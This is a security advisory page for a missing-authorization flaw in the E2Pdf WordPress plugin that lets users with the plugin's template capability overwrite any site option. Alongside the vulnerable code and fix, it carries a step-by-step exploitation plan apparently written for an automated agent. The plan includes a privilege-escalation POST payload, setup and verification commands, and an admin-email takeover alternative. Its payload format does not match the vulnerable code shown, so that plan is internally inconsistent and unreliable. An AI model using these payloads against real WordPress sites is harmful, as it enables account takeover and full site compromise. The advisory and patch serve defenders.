E2Pdf <= 1.32.26 - Missing Authorization to Authenticated (Custom+) Arbitrary Option Update / Privilege Escalation via 'screen_action' Parameter
Description
The E2Pdf – Export Pdf Tool for WordPress plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 1.32.26. This is due to the screen_action() function lacking a dedicated capability check and nonce verification — when invoked via the ?action=screen routing path the controller's index_action() nonce gate is bypassed entirely — while reading an attacker-controlled option name and value from $_POST['wp_screen_options'] and passing them directly to update_option() with no allowlist, relying solely on the page-level e2pdf_templates capability which the plugin's own Permissions UI allows administrators to grant to any role including Subscriber, Contributor, Author, or Editor. This makes it possible for authenticated attackers, with a custom role that has been granted the e2pdf_templates capability, to overwrite arbitrary WordPress options such as default_role and thereby escalate their privileges to administrator.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v1.32.31
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-12407 ## 1. Vulnerability Summary **CVE-2026-12407** is a critical missing authorization vulnerability in the **E2Pdf** plugin (<= 1.32.26). The vulnerability exists because the plugin's routing mechanism allows direct access to the `screen_action()` method i…
Show full research plan
Exploitation Research Plan - CVE-2026-12407
1. Vulnerability Summary
CVE-2026-12407 is a critical missing authorization vulnerability in the E2Pdf plugin (<= 1.32.26). The vulnerability exists because the plugin's routing mechanism allows direct access to the screen_action() method in the Controller_E2pdf_Templates class.
While the main index_action() (the default landing for the templates page) implements nonce verification for screen options, an attacker can bypass this gate by using the ?action=screen URL parameter. The screen_action() method itself lacks capability checks and nonce verification. It processes the wp_screen_options POST parameter and passes its contents directly to the WordPress update_option() function, allowing a user with the custom e2pdf_templates capability to overwrite arbitrary WordPress settings, leading to full privilege escalation.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin.php - Query Parameters:
page=e2pdf-templates&action=screen - HTTP Method:
POST - Payload Parameter:
wp_screen_options(an associative array) - Authentication Required: Yes. The attacker must have a role with the
e2pdf_templatescapability. In vulnerable versions, the plugin's own "Permissions" settings allow administrators to grant this capability to low-privilege roles like Subscriber or Contributor. - Precondition: A user with a low-privilege role must be granted the
e2pdf_templatescapability.
3. Code Flow
- Request Entry: The attacker sends a POST request to
/wp-admin/admin.php?page=e2pdf-templates&action=screen. - Routing Bypass: The plugin's loader (governed by
Model_E2pdf_Loader) routes the request toController_E2pdf_Templates. Because theactionparameter is explicitly set toscreen, the router callsscreen_action()(orscreen_action_action) directly, instead ofindex_action(). - Missing Gate: The
index_action()method inclasses/controller/e2pdf-templates.phpcontains the nonce check:
By calling the action directly via the URL, this entire conditional block is bypassed.if ($this->post->get('screenoptionnonce')) { if (wp_verify_nonce($this->post->get('screenoptionnonce'), 'screen-options-nonce')) { $this->screen_action(); } - Vulnerable Sink: The
screen_action()method (residing inclasses/controller/e2pdf-templates.php, truncated in the provided source) retrieves$_POST['wp_screen_options']. It iterates through the array and callsupdate_option($key, $value)without validating if the keys belong to an allowlist. - Impact: The attacker can change
default_roletoadministratororusers_can_registerto1.
4. Nonce Acquisition Strategy
According to the vulnerability description, the bypass specifically targets the fact that the nonce gate is omitted when the action is called directly via the routing path.
- Bypass Mode: No nonce is required for the exploitation of the
action=screenpath. - Confirmation: If the exploitation returns a 403 or a "nonce error" message, it would imply the vulnerability description is slightly inaccurate and a nonce is required. In that case, the agent should:
- Navigate to
/wp-admin/admin.php?page=e2pdf-templates. - Use
browser_evalto extract any screen option nonce:browser_eval("document.querySelector('#screenoptionnonce')?.value").
- Navigate to
5. Exploitation Strategy
The goal is to escalate the attacker's privileges by modifying the WordPress default_role setting.
Step 1: Privilege Escalation Payload
Send a request to update the site's default role to administrator.
HTTP Request:
- Tool:
http_request - Method:
POST - URL:
http://localhost:8080/wp-admin/admin.php?page=e2pdf-templates&action=screen - Headers:
Content-Type: application/x-www-form-urlencodedCookie: [Attacker Cookies]
- Body:
wp_screen_options[default_role]=administrator&wp_screen_options[users_can_register]=1
Step 2: Account Creation (Optional but Recommended)
If registration is enabled, the attacker can then register a new account which will be granted the administrator role. Or, if they have an existing low-privilege account, they can try to update their own role if they find an option update that allows it (though default_role is the most reliable).
6. Test Data Setup
- Create Attacker User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Grant Capability:
The vulnerability requires thee2pdf_templatescapability. Simulate the administrator's "Permissions UI" action:wp cap add subscriber e2pdf_templates - Verify Setup:
Confirm the userattackerhas thee2pdf_templatescapability but is NOT an admin.
7. Expected Results
- Response: The server should return a
302 Redirector a200 OK(depending on whether thescreen_actionmethod redirects). - Database Change: The WordPress option
default_rolewill be changed fromsubscribertoadministrator. - Database Change: The WordPress option
users_can_registerwill be changed to1.
8. Verification Steps
After the http_request, use WP-CLI to confirm the settings were changed:
- Check Options:
wp option get default_role(Should returnadministrator)wp option get users_can_register(Should return1) - Test Escalation:
Create a new user and check their role:wp user create new_admin admin2@example.comwp user get new_admin --field=roles(Should returnadministrator)
9. Alternative Approaches
If updating default_role fails or is restricted by other security plugins:
- Option
admin_email: Update the admin email to the attacker's email to trigger a password reset for the main admin.- Payload:
wp_screen_options[admin_email]=attacker@example.com
- Payload:
- Option
e2pdf_settings: If the plugin stores sensitive logic in its own options, try to overwrite them. - Blind Verification: If no output is visible, use the
http_requestto change a benign option likeblognameand verify via the site homepage.- Payload:
wp_screen_options[blogname]=PwnedByE2Pdf
- Payload:
Summary
The E2Pdf plugin for WordPress is vulnerable to unauthorized option updates due to missing authorization and nonce verification in the `screen_action()` function. Authenticated attackers with the `e2pdf_templates` capability can bypass intended security gates by calling this action directly via the URL, allowing them to overwrite arbitrary WordPress settings like `default_role` for privilege escalation.
Vulnerable Code
// classes/controller/e2pdf-templates.php (around line 25) public function index_action() { if ($this->post->get('screenoptionnonce')) { if (wp_verify_nonce($this->post->get('screenoptionnonce'), 'screen-options-nonce')) { $this->screen_action(); } else { wp_die($this->message('wp_verify_nonce_error')); } } --- // classes/controller/e2pdf-templates.php (around line 1231) public function screen_action() { $option = $this->post->get('wp_screen_options'); if (is_array($option) && isset($option['option']) && isset($option['value']) && $option['value']) { update_option($option['option'], $option['value']); }
Security Fix
@@ -1231,8 +1231,11 @@ // screen action public function screen_action() { $option = $this->post->get('wp_screen_options'); - if (is_array($option) && isset($option['option']) && isset($option['value']) && $option['value']) { - update_option($option['option'], $option['value']); + if (is_array($option) && isset($option['option'], $option['value']) && $option['option'] === 'e2pdf_templates_screen_per_page') { + $per_page = (int) $option['value']; + if ($per_page > 0) { + update_option($option['option'], $per_page); + } }
Exploit Outline
The exploit targets a bypass in the plugin's internal routing. An attacker authenticated with a role possessing the 'e2pdf_templates' capability (which can be assigned to low-privilege roles via the plugin's own Permissions UI) sends a POST request to '/wp-admin/admin.php?page=e2pdf-templates&action=screen'. By explicitly setting 'action=screen' in the URL, the plugin invokes the 'screen_action()' method directly, bypassing the nonce verification logic typically handled by 'index_action()'. The attacker provides a payload in the 'wp_screen_options' parameter containing an 'option' key (e.g., 'default_role') and a 'value' key (e.g., 'administrator'). The vulnerable function then passes these parameters directly to the WordPress core 'update_option()' function without an allowlist, allowing for arbitrary configuration changes and privilege escalation.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.